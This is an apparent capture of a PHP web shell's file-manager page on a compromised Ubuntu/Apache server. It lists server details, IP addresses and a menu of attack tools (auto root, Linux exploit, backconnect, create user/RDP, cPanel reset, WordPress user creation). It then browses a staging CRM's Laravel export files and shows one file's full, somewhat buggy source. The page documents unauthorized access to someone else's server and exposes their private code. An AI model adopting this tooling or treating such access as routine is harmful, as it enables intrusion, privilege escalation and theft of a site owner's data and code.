Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.63.181
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
stagingcrm.oxopackaging.com /
app /
Exports /
[ HOME SHELL ]
Name
Size
Permission
Action
AgentSaleExport.php
7.75
KB
-rw-r--r--
DailyLeadsExport.php
473
B
-rw-r--r--
DealExport.php
10.96
KB
-rw-r--r--
MarketingExport.php
11.3
KB
-rw-r--r--
MonthlyReportExport.php
2.38
KB
-rw-r--r--
OrderPNLExport.php
8.58
KB
-rw-r--r--
ProductionExport.php
8.54
KB
-rw-r--r--
ReordersExport.php
7.02
KB
-rw-r--r--
SalariesExport.php
8.01
KB
-rw-r--r--
ShippingExport.php
10.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MarketingExport.php
<?php namespace App\Exports; use App\Models\Deal; use App\Models\Product; use App\Models\Tracking; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithMapping; use Maatwebsite\Excel\Concerns\WithHeadings; class MarketingExport implements FromCollection,WithHeadings,WithMapping { protected $deal_name; protected $user_deals; protected $from; protected $to; function __construct($deal_name, $user_deals, $from, $to) { $this->deal_name = $deal_name; $this->user_deals = $user_deals; $this->from = $from; $this->to = $to; } /** * @return \Illuminate\Support\Collection */ public function collection() { $request=array(); $request['from']= $this->from; $request['to']= $this->to; $request['user_deals']= $this->user_deals; $request['deal_name']= $this->deal_name; $data = Product::select('*')->with(['dealporducts'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('created_at', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('created_at', [date($first) , date($last)]); } if(!empty($reques['deal_name'])) { $que->where('product_id', $request['deal_name']); } /// $que->groupBy('deal_id'); },'dealporducts.chat_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); },'dealporducts.custom_quote_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); },'dealporducts.reference_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); },'dealporducts.email_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); } ,'dealporducts.call_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); },'dealporducts.organic_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); },'dealporducts.social_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); },'dealporducts.ppc_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); },'dealporducts.mouseflow_deals'=> function($que) use ($request){ if(!empty($request['from'] && $request['to'])) { $que->whereBetween('open_date', [date($request['from']) , date($request['to'])]); }else{ $first = date("Y-m-d",strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $que->whereBetween('open_date', [date($first) , date($last)]); } // $que->where('complete_status' ,'=', '0'); }]); if(!empty($request->deal_name)) { $data->where('id', $request['deal_name']); } $data->where('type','product'); $data->orderBy('name','asc'); return $res= $data->get(); } public function headings(): array { return [ 'Products', 'Chat', 'Custom Quote', 'Referral', 'Email', 'Call', 'Organic', 'Social Media', 'Paid', 'Mouse Flow', 'Total' ]; } /** * @var Invoice $deal */ public function map($deal): array { $chat_deals=0; $product_name=''; $custom_quotedeals=0; $ref_deals=0; $email_deals=0; $call_deals=0; $organic_deals=0; $social_deals=0; $ppc_deals=0; $total_chat_deals=0; $total_custom_quotedeals=0; $total_ref_deals=0; $total_email_deals=0; $total_call_deals=0; $total_organic_deals=0; $total_social_deals=0; $total_ppc_deals=0; $mouseflow_deals=0; $row_total=0; $total_mouseflow_deals=0; $product_name= $deal['name']; foreach ($deal->dealporducts as $cd){ // echo $cd->deal_id.'<br>'; $chat_deals+=$cd->chat_deals->count(); $total_chat_deals+=$cd->chat_deals->count(); // echo $cd->count(); } if($chat_deals ){ $chat_deals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->custom_quote_deals)){ $custom_quotedeals+=$cd->custom_quote_deals->count(); $total_custom_quotedeals+=$cd->custom_quote_deals->count(); } // echo $cd->count(); } if($custom_quotedeals){ $custom_quotedeals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->reference_deals)){ $ref_deals+=$cd->reference_deals->count(); $total_ref_deals+=$cd->reference_deals->count(); } // echo $cd->count(); } if($ref_deals){ $ref_deals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->email_deals)){ $email_deals+=$cd->email_deals->count(); $total_email_deals+=$cd->email_deals->count(); } } if($email_deals){ $email_deals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->call_deals)){ $call_deals+=$cd->call_deals->count(); $total_call_deals+=$cd->call_deals->count(); } // echo $cd->count(); } if($call_deals){ $call_deals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->$organic_deals)){ $organic_deals+=$cd->organic_deals->count(); $total_organic_deals+=$cd->organic_deals->count(); } // echo $cd->count(); } if($organic_deals){ $organic_deals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->social_deals)){ $social_deals+=$cd->social_deals->count(); } // echo $cd->count(); } $total_social_deals+=$social_deals; if($social_deals){ $social_deals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->ppc_deals)){ $ppc_deals+=$cd->ppc_deals->count(); } // echo $cd->count(); } $total_ppc_deals+=$ppc_deals; if($ppc_deals){ $ppc_deals; } foreach ($deal->dealporducts as $cd){ if(isset($cd->mouseflow_deals)){ $mouseflow_deals+=$cd->mouseflow_deals->count(); } // echo $cd->count(); } $total_mouseflow_deals+=$mouseflow_deals; if($mouseflow_deals){ echo $mouseflow_deals; } $row_total= $chat_deals+$custom_quotedeals+$ref_deals+$email_deals+$call_deals+$organic_deals+$ppc_deals+$social_deals; return [ [ $product_name, $chat_deals, $custom_quotedeals, $ref_deals, $email_deals, $call_deals, $organic_deals, $social_deals, $ppc_deals, $mouseflow_deals, $row_total ], ]; $chat_deals=0;$custom_quotedeals=0;$ref_deals=0; $email_deals=0; $call_deals=0;$organic_deals=0;$ppc_deals=0;$social_deals=0; $row_total=0; } }
Close